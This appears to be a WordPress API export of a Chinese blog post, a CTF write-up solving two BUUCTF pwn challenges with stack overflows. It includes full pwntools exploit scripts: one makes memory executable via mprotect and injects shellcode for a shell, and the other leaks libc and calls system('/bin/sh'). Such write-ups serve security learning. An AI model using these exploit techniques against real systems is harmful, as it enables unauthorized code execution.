{"id":123,"date":"2025-07-22T14:15:23","date_gmt":"2025-07-22T06:15:23","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=123"},"modified":"2025-07-22T14:15:24","modified_gmt":"2025-07-22T06:15:24","slug":"buuctfcmcc_simplerop%e3%80%81xdctf2015_pwn200","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/22\/buuctfcmcc_simplerop%e3%80%81xdctf2015_pwn200\/","title":{"rendered":"buuctf:cmcc_simplerop\u3001xdctf2015_pwn200"},"content":{"rendered":"\n

1\u3001cmcc_simplerop\u9898\u76ee\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5f00\u4e86NX,\u8fd0\u884c\u6709\u4e00\u4e2a\u8f93\u5165\uff0c\u611f\u89c9\u662f\u4e00\u9053\u9759\u6001\u7f16\u8bd1<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6808\u6ea2\u51fa\uff0c\u7136\u540e\u770b\u770b\u6709\u6ca1\u6709mprotect\u51fd\u6570\uff0c\u5229\u7528shellcode\u6765\u505a<\/p>\n\n\n\n

mprotect=0x806D870<\/p>\n\n\n\n

\u63a5\u4e0b\u6765\u5c31\u5229\u7528<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

addr=0x80e9000\u4f5c\u4e3a\u4fee\u6539\u6743\u9650\u7684\u8d77\u59cb\u4f4d\u7f6e\uff0c\u5927\u5c0f\u8bbe\u4e3a0x2000,\u8bbe\u4e3a0x7\u5c31\u884c\uff0c\u8fd4\u56de\u4e00\u4e2apop3,\u8fd4\u56demain\u51fd\u6570\u6253\u4e0d\u901a\uff0c<\/p>\n\n\n\n

0x0809de85 : pop ebp ; pop esi ; pop edi ; ret<\/p>\n\n\n\n

\u6574\u4f53\u5206\u4e3a\u4fee\u6539\u6743\u9650\uff0c\u4f20shellcode<\/p>\n\n\n\n

\u7528read\u51fd\u6570\u5199\u5165shellcode<\/p>\n\n\n\n

read=0x806CD50,\u53c2\u6570\u8bbe\u6210\uff080\uff0caddr+0x1000,len(shellcode)\uff09\u6700\u540e\u8fd4\u56deaddr+0x1000<\/p>\n\n\n\n

2\u3001cmcc_simplerop\u5b9e\u64cd<\/h2>\n\n\n\n

\u95ee\u9898\u4f3c\u4e4e\u51fa\u5728\u504f\u79fb\u91cf\u4e0a\uff0c\u4e8e\u662f\u8c03\u8bd5\u4e86\u4e00\u4e0b\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u9700\u8981\u586b\u514532<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27221)\n#elf=ELF(\".\/simplerop\")\n\n#main=elf.sym['main']\nread=0x806CD50\nmprotect=0x806D870\naddr=0x80e9000\npop3=0x0809de85 \n\nshellcode=asm(shellcraft.sh())\npayload=b'a'*0x20+p32(mprotect)+p32(pop3)+p32(addr)+p32(0x2000)+p32(0x7)\npayload+=p32(read)+p32(addr+0x1000)+p32(0)+p32(addr+0x1000)+p32(len(shellcode))\np.recvuntil(\"Your input :\")\np.sendline(payload)\np.sendline(shellcode)\np.interactive()<\/code><\/pre>\n\n\n\n
paylaod\u5206\u5f00\u7684\u8bdd\u4e00\u76f4\u662f\u8d85\u65f6\uff0c\u4e5f\u4e0d\u6e05\u695a\u4e3a\u4ec0\u4e48\u3002<\/p>\n\n\n\n
3\u3001xdctf2015_pwn200\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

checksec:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e00\u6837\u7684NX,\u8fd0\u884c\u4e86\u4e00\u4e0b\u7a0b\u5e8f\u5f88\u7b80\u5355<\/p>\n\n\n\n
main\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ca1\u5565\uff0c\u4f46\u662f\u4e00\u4f1a\u513f\u8fd8\u662f\u7528gdb\u770b\u770b\u504f\u79fb<\/p>\n\n\n\n
vuln\u5c31\u662f\u4e2a\u6808\u6ea2\u51fa\uff0c\u6240\u4ee5\u6211\u4eec\u7528ret2libc\u5c31\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u662f112<\/p>\n\n\n\n
3\u3001xdctf2015_pwn200\u5b9e\u64cd<\/h2>\n\n\n\n
\u76f4\u63a5ret2libc\u5c31\u597d\u5566\uff0c\u5229\u7528write\u6cc4\u9732libc<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",26549)\nelf=ELF(\".\/bof\")\nlibc=ELF(\".\/libc-2.23.so\")\n\nmain=elf.sym['main']\nwrite_plt=elf.plt['write']\nwrite_got=elf.got['write']\n\npayload=b'a'*112+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)\np.recvuntil(\"Welcome to XDCTF2015~!\\n\")\np.sendline(payload)\nwrite=u32(p.recv(4))\nprint(hex(write))\n\nbase=write-libc.sym['write']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\n\npayload=b'a'*112+p32(sys)+p32(0)+p32(binsh)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u5566\uff0c\u5dee\u4e0d\u591a\u4e86<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001cmcc_simplerop\u9898\u76ee\u5206\u6790 checksec: \u5f00\u4e86NX,\u8fd0\u884c\u6709\u4e00\u4e2a\u8f93\u5165\uff0c\u611f\u89c9\u662f\u4e00\u9053\u9759\u6001\u7f16\u8bd1 \u6808 […]<\/p>\n","protected":false},"author":1,"featured_media":134,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-123","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=123"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/123\/revisions"}],"predecessor-version":[{"id":135,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/123\/revisions\/135"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/134"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=123"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}